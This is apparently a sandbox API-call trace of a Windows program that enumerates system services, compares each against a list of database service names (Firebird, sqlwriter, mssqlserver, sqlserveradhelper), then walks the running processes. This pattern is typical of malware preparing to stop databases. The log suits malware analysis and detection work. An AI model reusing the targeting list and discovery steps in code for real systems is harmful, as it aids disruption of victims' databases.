	[0165.969] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0165.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0165.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0165.969] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0165.969] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0165.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0165.969] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0165.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0165.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0165.969] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0165.969] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0165.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0165.969] lstrlenW (lpString="CryptSvc") returned 8
	[0165.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0165.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0165.969] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0165.969] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0165.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0165.969] lstrlenW (lpString="DcomLaunch") returned 10
	[0165.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0165.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0165.969] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0165.969] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0165.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0165.970] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0165.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0165.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0165.970] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0165.970] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0165.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0165.970] lstrlenW (lpString="Dhcp") returned 4
	[0165.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0165.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0165.970] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0165.970] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0165.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0165.970] lstrlenW (lpString="Dnscache") returned 8
	[0165.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0165.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0165.970] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0165.970] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0165.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0165.970] lstrlenW (lpString="DPS") returned 3
	[0165.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0165.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0165.970] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0165.970] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0165.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0165.970] lstrlenW (lpString="DusmSvc") returned 7
	[0165.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0165.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0165.970] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0165.970] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0165.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0165.970] lstrlenW (lpString="EventLog") returned 8
	[0165.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0165.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0165.970] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0165.970] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0165.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0165.971] lstrlenW (lpString="EventSystem") returned 11
	[0165.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0165.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0165.971] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0165.971] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0165.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0165.971] lstrlenW (lpString="FontCache") returned 9
	[0165.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0165.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0165.971] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0165.971] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0165.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0165.971] lstrlenW (lpString="gpsvc") returned 5
	[0165.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0165.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0165.971] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0165.971] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0165.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0165.971] lstrlenW (lpString="iphlpsvc") returned 8
	[0165.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0165.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0165.971] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0165.971] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0165.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0165.971] lstrlenW (lpString="KeyIso") returned 6
	[0165.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0165.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0165.971] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0165.971] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0165.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0165.971] lstrlenW (lpString="LanmanServer") returned 12
	[0165.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0165.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0165.971] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0165.971] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0165.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0165.972] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0165.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0165.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0165.972] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0165.972] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0165.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0165.972] lstrlenW (lpString="lfsvc") returned 5
	[0165.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0165.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0165.972] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0165.972] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0165.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0165.972] lstrlenW (lpString="lmhosts") returned 7
	[0165.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0165.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0165.972] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0165.972] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0165.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0165.972] lstrlenW (lpString="LSM") returned 3
	[0165.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0165.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0165.972] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0165.972] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0165.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0165.972] lstrlenW (lpString="MpsSvc") returned 6
	[0165.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0165.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0165.973] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0165.973] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0165.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0165.973] lstrlenW (lpString="NcbService") returned 10
	[0165.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0165.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0165.973] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0165.973] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0165.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0165.973] lstrlenW (lpString="netprofm") returned 8
	[0165.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0165.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0165.973] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0165.973] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0165.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0165.973] lstrlenW (lpString="NgcSvc") returned 6
	[0165.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0165.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0165.973] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0165.973] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0165.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0165.973] lstrlenW (lpString="NlaSvc") returned 6
	[0165.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0165.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0165.973] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0165.973] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0165.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0165.973] lstrlenW (lpString="nsi") returned 3
	[0165.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0165.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0165.973] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0165.973] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0165.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0165.973] lstrlenW (lpString="PcaSvc") returned 6
	[0165.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0165.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0165.974] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0165.974] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0165.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0165.974] lstrlenW (lpString="PlugPlay") returned 8
	[0165.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0165.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0165.974] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0165.974] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0165.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0165.974] lstrlenW (lpString="Power") returned 5
	[0165.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0165.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0165.974] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0165.974] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0165.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0165.974] lstrlenW (lpString="ProfSvc") returned 7
	[0165.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0165.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0165.974] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0165.974] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0165.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0165.974] lstrlenW (lpString="RpcEptMapper") returned 12
	[0165.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0165.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0165.974] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0165.974] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0165.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0165.974] lstrlenW (lpString="RpcSs") returned 5
	[0165.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0165.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0165.974] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0165.974] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0165.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0165.974] lstrlenW (lpString="SamSs") returned 5
	[0165.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0165.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0165.975] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0165.975] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0165.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0165.975] lstrlenW (lpString="Schedule") returned 8
	[0165.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0165.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0165.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0165.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0165.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0165.975] lstrlenW (lpString="SecurityHealthService") returned 21
	[0165.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0165.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0165.975] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0165.975] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0165.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0165.975] lstrlenW (lpString="SENS") returned 4
	[0165.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0165.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0165.975] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0165.975] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0165.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0165.975] lstrlenW (lpString="ShellHWDetection") returned 16
	[0165.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0165.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0165.975] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0165.975] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0165.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0165.975] lstrlenW (lpString="Spooler") returned 7
	[0165.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0165.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0165.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0165.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0165.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0165.975] lstrlenW (lpString="StateRepository") returned 15
	[0165.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0165.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0165.976] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0165.976] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0165.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0165.976] lstrlenW (lpString="SysMain") returned 7
	[0165.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0165.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0165.976] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0165.976] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0165.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0165.976] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0165.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0165.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0165.976] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0165.976] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0165.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0165.976] lstrlenW (lpString="Themes") returned 6
	[0165.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0165.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0165.976] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0165.976] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0165.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0165.976] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0165.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0165.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0165.976] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0165.976] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0165.976] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41e6cb8 | out: hHeap=0x5a0000) returned 1
	[0165.976] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x528
	[0165.980] Process32FirstW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0165.980] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0165.980] lstrlenW (lpString="System") returned 6
	[0165.981] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0165.981] lstrlenW (lpString="smss.exe") returned 8
	[0165.981] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0165.981] lstrlenW (lpString="csrss.exe") returned 9
	[0165.981] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0165.982] lstrlenW (lpString="wininit.exe") returned 11
	[0165.982] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0165.982] lstrlenW (lpString="csrss.exe") returned 9
	[0165.982] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0165.983] lstrlenW (lpString="winlogon.exe") returned 12
	[0165.983] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0165.983] lstrlenW (lpString="services.exe") returned 12
	[0165.983] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0165.983] lstrlenW (lpString="lsass.exe") returned 9
	[0165.984] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0165.984] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0165.984] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0165.984] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0165.984] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.985] lstrlenW (lpString="svchost.exe") returned 11
	[0165.985] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.985] lstrlenW (lpString="svchost.exe") returned 11
	[0165.985] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0165.986] lstrlenW (lpString="dwm.exe") returned 7
	[0165.986] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.986] lstrlenW (lpString="svchost.exe") returned 11
